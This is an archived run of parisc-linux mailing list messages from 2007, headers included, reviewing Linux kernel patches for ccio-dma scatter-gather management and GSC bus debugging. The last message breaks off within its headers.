	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /n98LVQjaHI/bKWnKSUlBRZqamdhZEQP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25461

On Sat, Oct 20, 2007 at 05:21:44PM +0000, Joel Soete wrote:
> Hello Kyle,
> 
> Hppay that you finaly receive it ;-)
> (btw sorry for boucing)
> 

I've looked over the code, and it looks fine to me. Will wait for an ack
>from Grant though, since I have no ability to test ccio :/

Cheers and thanks,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] VSC_GSC_HSC bus debugging
Date: Sun, 21 Oct 2007 13:06:09 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <20071021190609.GA8421__10149.6737720028$1416624647$gmane$org@parisc-linux.org>
References: <471B926D.10009@tiscali.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624647 28545 80.91.229.3 (22 Nov 2014 02:50:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:47 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Roel Kluin <12o3l@tiscali.nl>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Oct 2007 19:06:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx107) with SMTP; 21 Oct 2007 21:06:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95FA27EA7C;
	Sun, 21 Oct 2007 13:06:32 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id yPuDk5ljYttx; Sun, 21 Oct 2007 13:06:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 814937EA7D;
	Sun, 21 Oct 2007 13:06:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93E197EA7A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 13:06:17 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id CeQfQNMXSs-1 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 13:06:06 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4CDB67EA75
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 13:06:06 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 626AB494009; Sun, 21 Oct 2007 13:06:10 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 1C174494003; Sun, 21 Oct 2007 13:06:10 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <471B926D.10009@tiscali.nl>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cpoofwlhMmAobLSZZGFn3aQxMjQ1N92b
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25462

On Sun, Oct 21, 2007 at 07:54:53PM +0200, Roel Kluin wrote:
> +config GSC_DEBUG
> +	bool "VSC_GSC_HSC bus debugging"

What an ugly prompt string ...

> +	depends on GSC
> +	default n

default is 'n', by default.  No need to specify it.

> +#ifdef GSC_DEBUG
> +	#define DEBUG 1
> +#endif

Why the indent?

> -	DEBPRINTK("%s intr, mask=0x%x\n", gsc_asic->name, irr);
> +	printk("%s intr, mask=0x%x\n", gsc_asic->name, irr);

Presumably you meant pr_debug?

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Tue, 23 Oct 2007 18:15:34 +0200
Lines: 180
Approved: news@gmane.org
Message-ID: <JQDH5Y$638933C5452E98BC9DDA3FE0A340D756__31747.4561663859$1416624648$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624648 28548 80.91.229.3 (22 Nov 2014 02:50:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:48 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@parisc-linux.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Oct 2007 16:16:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 23 Oct 2007 18:16:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 867D47EAE0;
	Tue, 23 Oct 2007 10:16:19 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WuK70EMSe1zg; Tue, 23 Oct 2007 10:16:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3ECBF7EADB;
	Tue, 23 Oct 2007 10:16:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B2B87EAD8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Oct 2007 10:15:59 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PMv4WSNOxgDO for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Oct 2007 10:15:46 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8460E7EAD6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Oct 2007 10:15:36 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id AD03749400E; Tue, 23 Oct 2007 10:15:38 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by mail.parisc-linux.org (Postfix) with ESMTP id 8E68349400A;
	Tue, 23 Oct 2007 10:15:37 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42])
	by weequay.is.scarlet.be  with ESMTP id l9NGFYJ09351;
	Tue, 23 Oct 2007 18:15:34 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aWQrL08eZDI5PLHGdWY2H59xemhmYwGn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25463

> On Sat, Oct 20, 2007 at 01:23:28PM -0400, Kyle McMartin wrote:
> > On Sat, Oct 20, 2007 at 05:21:44PM +0000, Joel Soete wrote:
> > > Hello Kyle,
> > > 
> > > Hppay that you finaly receive it ;-)
> > > (btw sorry for boucing)
> > > 
> > 
> > I've looked over the code, and it looks fine to me. Will wait for an ack
> > from Grant though, since I have no ability to test ccio :/
> 
> We both have access to the FtC test ring - but I think we are also both
> too lazy to build a kernel and test it on a remote box. :)
> 
> In general I'm ok with this code since I trust Joel is testing
> it with both NIC and storage devices and I'm too lazy to.
> 
> Some comments/requests/ideas below but nothing critical.
> 
> Apologies that I'm cut/pasting from the mailing list archive:
>    
http://lists.parisc-linux.org/pipermail/parisc-linux/2007-October/031998.html
> 
> I didn't have the original mail in my inbox anymore.
> 
> 
> +static CCIO_INLINE int
> +get_iovp_order(unsigned long size)
> +{
> +	int order;
> +
> +	size = (size - 1) >> (IOVP_SHIFT - 1);
> +	order = -1;
> +	do {
> +		size >>= 1;
> +		order++;
> +	} while (size);
> +	return order;
> +}
> 
> Would this be faster if written to use "ffs()"?
> 
This seems to be better fls then ffs like:
int get_iovp_order_faster(unsigned long size)
{
	return fls((size - 1) >> (IOVP_SHIFT));
}

Even thought following test seems to be ok:
	unsigned int a;
	unsigned long ul;

	/* for proof of concept
	*/
	for (ul=0; ul<536870914; ul++) {
		if ( get_iovp_order(ul) != get_iovp_order_faster(ul) ) {
			printf("get_iovp_order(%ld) = %ld (0x%x)\n\n", ul, a = get_iovp_order(ul), a);
			printf("get_iovp_order_faster(%ld) = %ld (0x%x)\n\n", ul, a =
get_iovp_order_faster(ul), a);
			exit (1);
		}
	}

But what would give the kernel generic (include/asm-generic/page.h: this is
what get_iovp_order() is if IOVP_SHIFT==PAGE_SHIFT) get_order(0): 0?
the answer is 20 for paric and ia32?
 
> 
> ...
> +#define ROUNDUP(x, y)		((x + ((y)-1)) & ~((y)-1))
> 
> ROUNDUP got replace in SBA with ALIGN(). Please use ALIGN instead.

Yes I figure it out later sorry.
 
> 
> ...
> +	} else {
> +		/*
> +		** Search the resource bit map on well-aligned values.
> +		** "o" is the alignment.
> +		** We need the alignment to invalidate I/O TLB using
> +		** xxx HW features in the unmap path.
> +		*/
> +		unsigned long o = 1 << get_iovp_order(pages_wanted << IOVP_SHIFT);
> +		uint bitshiftcnt = ROUNDUP(ioc->res_bitshift, o);
> +		unsigned long mask;
> 
> CCIO doesn't have this feature AFAIK. The comment only applies to SBA.
> Please remove the second sentence of the comment.
Ok.

> Searching on "well-aligned" values is still a good idea.
> 
> 
> NOTE: Each 8 consecutive CCIO IO PDIR mappings land on the same IO TLB entry.
> 
> To avoid thrashing the IO TLB, ideally CCIO code will do the following:
> 
> o map_sg (ie storage devices) use 8 bit alignment (ie each mapping start
>  on a new byte boundary).  Traditional block storage can complete the
>  IOs out of order and in parallel (via different controllers). This
>  would thrash one IO TLB entry if 8 seperate 4K DMA mappings are inflight
>  at the same time.
> 
> o map_single() (ie NICs) to just use the next available bit for a given
>   PCI device.  NIC DMA patterns (at least for a given stream) are linear.
>   The ccio_map_single() should track the last bitmap octet used for both
>   DMA_TO_DEVICE and FROM_DEVICE for each PCI device.
>   Once that octet is "used", find the next 8 bit field in the bitmap that
>   is available.
> 
> For a single NIC and one or two SCSI controllers, this probably doesn't
> make much difference unless you start measuring latency. Throughput
> should be nearly the same.
> 
> My guess is the biggest perf gain will come from reducing the number
> of "sync" ops by implementing DELAYED_RESOURCE_CNT. 
> 
> 
> ...
>  #ifdef CCIO_SEARCH_TIME
> +	udelay(100);
> 
> Did you want to keep udelay() call?
> 
Most probably not (just need more test)

> 
> ...
> +#else /* DELAYED_RESOURCE_CNT == 0 */
> +
> +	ccio_free_range(ioc, iova, size);
> +
> +	/* force fdc's to be visible now */
> +	asm volatile("sync" :: );
> +
> +#endif /* DELAYED_RESOURCE_CNT == 0 */
> 
> Does the asm("sync") need to be outside the #endif ?
> Please make sure "sync" is called exactly once IFF 
> the IO PDIR is modified.
> 
Well understand but this check stay hard to me (but I will try to spend a bit
more time to check)

> 
> ...
> +#ifdef CCIO_MAP_STATS
> +		ioc->usg_pages += sg_dma_len(sglist) >> IOVP_SHIFT;
> +		ioc->usingle_calls--;   /* kluge since call is unmap_sg() */
> +#endif
> 
> I wouldn't add MAP_STATS here.
> They aren't enabled in SBA becuase they impact performance too much.
> I expect that will always be true and would seriously consider removing
> MAP_STATS code from SBA as well. Timing the bitmap search is
> probably the only critical bit of info that really matters. 
> And that's for developement/testing only.
> 
mmm, I would so let stay here but with just additional comment to prevent to
activate it outside this developement/testing context?

> hth,
> grant
> 
Yes, tx a lot,
    J.

>
---
Pack Scarlet One, ADSL 6 Mbps + Telephonie, a partir de EUR 29,95...
http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Sun, 21 Oct 2007 22:39:09 -0600
Lines: 133
Approved: news@gmane.org
Message-ID: <20071022043909.GC11869__48712.1801860214$1416624648$gmane$org@colo.lackof.org>
References: <4714E800.50709@scarlet.be>
	<20071017184416.GB11502@fattire.cabal.ca>
	<471A3928.8040603@scarlet.be>
	<20071020172328.GI10429@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624648 28550 80.91.229.3 (22 Nov 2014 02:50:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:48 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 parisc-linux@parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Oct 2007 04:40:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 22 Oct 2007 06:40:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59C1C7EA80;
	Sun, 21 Oct 2007 22:39:58 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PPAL0r77GpSg; Sun, 21 Oct 2007 22:39:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3F487EA7C;
	Sun, 21 Oct 2007 22:39:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 193517EA75
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 22:39:41 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9fuwoH6vpcBw for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 22:39:28 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4018B7EA72
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Oct 2007 22:39:28 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D99A949400A; Sun, 21 Oct 2007 22:39:29 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 8171E494003;
	Sun, 21 Oct 2007 22:39:29 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id AA08D3F8B2A;
	Sun, 21 Oct 2007 22:39:27 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19136-04; Sun, 21 Oct 2007 22:39:09 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D149A300076; Sun, 21 Oct 2007 22:39:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20071020172328.GI10429@fattire.cabal.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kB4udgt9Iyd0IvqQe2drLadaa2FkZlUD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25464

On Sat, Oct 20, 2007 at 01:23:28PM -0400, Kyle McMartin wrote:
> On Sat, Oct 20, 2007 at 05:21:44PM +0000, Joel Soete wrote:
> > Hello Kyle,
> > 
> > Hppay that you finaly receive it ;-)
> > (btw sorry for boucing)
> > 
> 
> I've looked over the code, and it looks fine to me. Will wait for an ack
> from Grant though, since I have no ability to test ccio :/

We both have access to the FtC test ring - but I think we are also both
too lazy to build a kernel and test it on a remote box. :)

In general I'm ok with this code since I trust Joel is testing
it with both NIC and storage devices and I'm too lazy to.

Some comments/requests/ideas below but nothing critical.

Apologies that I'm cut/pasting from the mailing list archive:
    http://lists.parisc-linux.org/pipermail/parisc-linux/2007-October/031998.html

I didn't have the original mail in my inbox anymore.


+static CCIO_INLINE int
+get_iovp_order(unsigned long size)
+{
+	int order;
+
+	size = (size - 1) >> (IOVP_SHIFT - 1);
+	order = -1;
+	do {
+		size >>= 1;
+		order++;
+	} while (size);
+	return order;
+}

Would this be faster if written to use "ffs()"?


...
+#define ROUNDUP(x, y)		((x + ((y)-1)) & ~((y)-1))

ROUNDUP got replace in SBA with ALIGN(). Please use ALIGN instead.


...
+	} else {
+		/*
+		** Search the resource bit map on well-aligned values.
+		** "o" is the alignment.
+		** We need the alignment to invalidate I/O TLB using
+		** xxx HW features in the unmap path.
+		*/
+		unsigned long o = 1 << get_iovp_order(pages_wanted << IOVP_SHIFT);
+		uint bitshiftcnt = ROUNDUP(ioc->res_bitshift, o);
+		unsigned long mask;

CCIO doesn't have this feature AFAIK. The comment only applies to SBA.
Please remove the second sentence of the comment.
Searching on "well-aligned" values is still a good idea.


NOTE: Each 8 consecutive CCIO IO PDIR mappings land on the same IO TLB entry.

To avoid thrashing the IO TLB, ideally CCIO code will do the following:

o map_sg (ie storage devices) use 8 bit alignment (ie each mapping start
 on a new byte boundary).  Traditional block storage can complete the
 IOs out of order and in parallel (via different controllers). This
 would thrash one IO TLB entry if 8 seperate 4K DMA mappings are inflight
 at the same time.

o map_single() (ie NICs) to just use the next available bit for a given
  PCI device.  NIC DMA patterns (at least for a given stream) are linear.
  The ccio_map_single() should track the last bitmap octet used for both
  DMA_TO_DEVICE and FROM_DEVICE for each PCI device.
  Once that octet is "used", find the next 8 bit field in the bitmap that
  is available.

For a single NIC and one or two SCSI controllers, this probably doesn't
make much difference unless you start measuring latency. Throughput
should be nearly the same.

My guess is the biggest perf gain will come from reducing the number
of "sync" ops by implementing DELAYED_RESOURCE_CNT. 


...
 #ifdef CCIO_SEARCH_TIME
+	udelay(100);

Did you want to keep udelay() call?


...
+#else /* DELAYED_RESOURCE_CNT == 0 */
+
+	ccio_free_range(ioc, iova, size);
+
+	/* force fdc's to be visible now */
+	asm volatile("sync" :: );
+
+#endif /* DELAYED_RESOURCE_CNT == 0 */

Does the asm("sync") need to be outside the #endif ?
Please make sure "sync" is called exactly once IFF 
the IO PDIR is modified.


...
+#ifdef CCIO_MAP_STATS
+		ioc->usg_pages += sg_dma_len(sglist) >> IOVP_SHIFT;
+		ioc->usingle_calls--;   /* kluge since call is unmap_sg() */
+#endif

I wouldn't add MAP_STATS here.
They aren't enabled in SBA becuase they impact performance too much.
I expect that will always be true and would seriously consider removing
MAP_STATS code from SBA as well. Timing the bitmap search is
probably the only critical bit of info that really matters. 
And that's for developement/testing only.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Sun, 28 Oct 2007 15:44:14 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <4724AE4E.8010804__7598.65269433266$1416624648$gmane$org@scarlet.be>
References: <JQIT2V$FB9C8381616CCA32E9FC6CC809E8D81D@scarlet.be>
	<20071028064158.GB29233@colo.lackof.org>
	<4724A084.5090709@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624648 28554 80.91.229.3 (22 Nov 2014 02:50:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:48 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Oct 2007 15:44:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 28 Oct 2007 16:44:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C4897EE49;
	Sun, 28 Oct 2007 09:44:48 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id zamQS+oewwwt; Sun, 28 Oct 2007 09:44:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D4DE7EE4A;
	Sun, 28 Oct 2007 09:44:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F06A7EE48
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Oct 2007 09:44:29 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DY3zfIJ55pmp for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Oct 2007 09:44:16 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4687B7EE47
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Oct 2007 09:44:16 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 23036494009; Sun, 28 Oct 2007 09:44:20 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
